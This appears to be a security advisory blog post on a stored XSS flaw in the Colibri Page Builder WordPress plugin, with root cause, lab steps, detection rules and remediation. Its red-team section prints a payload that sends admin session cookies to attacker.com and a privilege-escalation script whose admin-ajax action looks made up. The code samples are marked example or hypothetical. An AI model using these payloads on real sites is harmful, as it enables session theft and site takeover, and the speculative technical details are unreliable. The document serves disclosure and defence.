CVE-2025-32185

Executive Summary

CVE-2025-32185 is a Stored Cross-Site Scripting (XSS) vulnerability in the Extendthemes Colibri Page Builder WordPress plugin, affecting versions up to and including 1.0.329. This flaw allows authenticated attackers with contributor-level access or higher to inject arbitrary web scripts into pages or posts, which are then executed when other users (including administrators) view the affected content. The vulnerability stems from improper neutralization of user-supplied input during web page generation. Given the plugin’s widespread use in the WordPress ecosystem, this poses a significant risk for site compromise, data theft, and privilege escalation.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. As a supply chain risk, any site using the Colibri Page Builder plugin version 1.0.329 or earlier is potentially compromised. Attackers can leverage this to inject malicious scripts that steal session cookies, redirect users to phishing pages, or perform actions on behalf of administrators. The lack of a confirmed patch means site owners must rely on manual mitigation or removal of the plugin until an update is released.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: Required (Victim must view the malicious page)
• Scope: Changed (Impact can extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used page builder can lead to full site compromise if an administrator views the injected content.

Deep Dive & Mechanics

The Colibri Page Builder plugin fails to sanitize or escape user input when rendering page builder elements. An attacker with contributor-level access can insert malicious JavaScript into fields such as custom HTML blocks, link URLs, or widget attributes. This input is stored in the WordPress database and later rendered without proper encoding, allowing the script to execute in the context of any user viewing the page.

Root Cause: The plugin uses echo or print functions to output user-supplied data without applying WordPress’s built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post(). This allows arbitrary HTML and JavaScript to be injected.

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Creates or edits a page/post using the Colibri Page Builder.
3. Injects a malicious payload (e.g., <script>alert('XSS')</script>) into a vulnerable field.
4. Publishes or saves the page as a draft.
5. When an administrator or other user views the page, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (Example from colibri-page-builder <= 1.0.329):

// In a template rendering function
echo '<div class="colibri-element">' . $user_input . '</div>';

Patched Code (Hypothetical fix):

// Properly escape output
echo '<div class="colibri-element">' . esc_html( $user_input ) . '</div>';

The vulnerable code directly outputs $user_input without sanitization. The patched version uses esc_html() to neutralize any HTML/JavaScript.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with Colibri Page Builder <= 1.0.329
• Contributor-level account credentials

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Create a new page and open the Colibri Page Builder editor.
3. Add a custom HTML element or modify a text field.
4. Inject the following payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

5. Save and publish the page.
6. Send the page link to an administrator (social engineering).
7. When the admin views the page, their session cookie is exfiltrated.

Alternative Payload (for privilege escalation):

<script>
fetch('/wp-admin/admin-ajax.php?action=add_user&user=attacker&role=administrator')
</script>

Blue Team

Detection & Prevention:

• Monitor for unusual page/post creation by low-privileged users.
• Implement Web Application Firewall (WAF) rules to block common XSS patterns.
• Use WordPress security plugins (e.g., Wordfence) to detect malicious input.
• Restrict contributor-level access to only trusted users.

Lab Setup for Testing:

1. Install a local WordPress instance (e.g., using XAMPP or Docker).
2. Install Colibri Page Builder version 1.0.329.
3. Create a contributor user and log in.
4. Attempt to inject XSS payloads as described above.
5. Verify that the payload executes when viewed by an admin.

Indicators of Compromise (IOCs)

• File System:

  • Modified or new pages/posts containing <script> tags in page builder content.
  • Suspicious entries in the wp_posts table with post_content containing JavaScript.

• Network:

  • Outbound HTTP requests to attacker-controlled domains from the WordPress server.
  • Unusual Referer headers pointing to pages with page builder content.

• Logs:

  • WordPress debug log entries showing PHP warnings related to unescaped output.
  • Web server access logs with requests to pages containing XSS payloads.

• Database:

  • Queries to wp_postmeta or wp_posts revealing injected scripts.

Detection Engineering

YARA Rule

rule colibri_xss_payload {
    meta:
        description = "Detects stored XSS payloads in Colibri Page Builder content"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-32185"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /on\w+\s*=\s*["']?[^"']*["']?/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Colibri Page Builder Stored XSS Detection
id: 8a9b3c2d-1e4f-5a6b-7c8d-9e0f1a2b3c4d
status: experimental
description: Detects potential stored XSS in Colibri Page Builder content
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '<script'
            - 'onload='
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in page builder (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-32185 Colibri Page Builder Stored XSS"; flow:to_server,established; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Review and remove any suspicious pages/posts created by low-privileged users.
3. Change all WordPress admin passwords and invalidate existing sessions.

Long-term Fix:

• Apply the official patch from Extendthemes when available.
• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce the principle of least privilege for WordPress user roles.
• Regularly audit plugin code for security vulnerabilities.

Workaround:

• Use a security plugin to add Content Security Policy (CSP) headers that block inline scripts.

Valters IT
Securing Digital Frontiers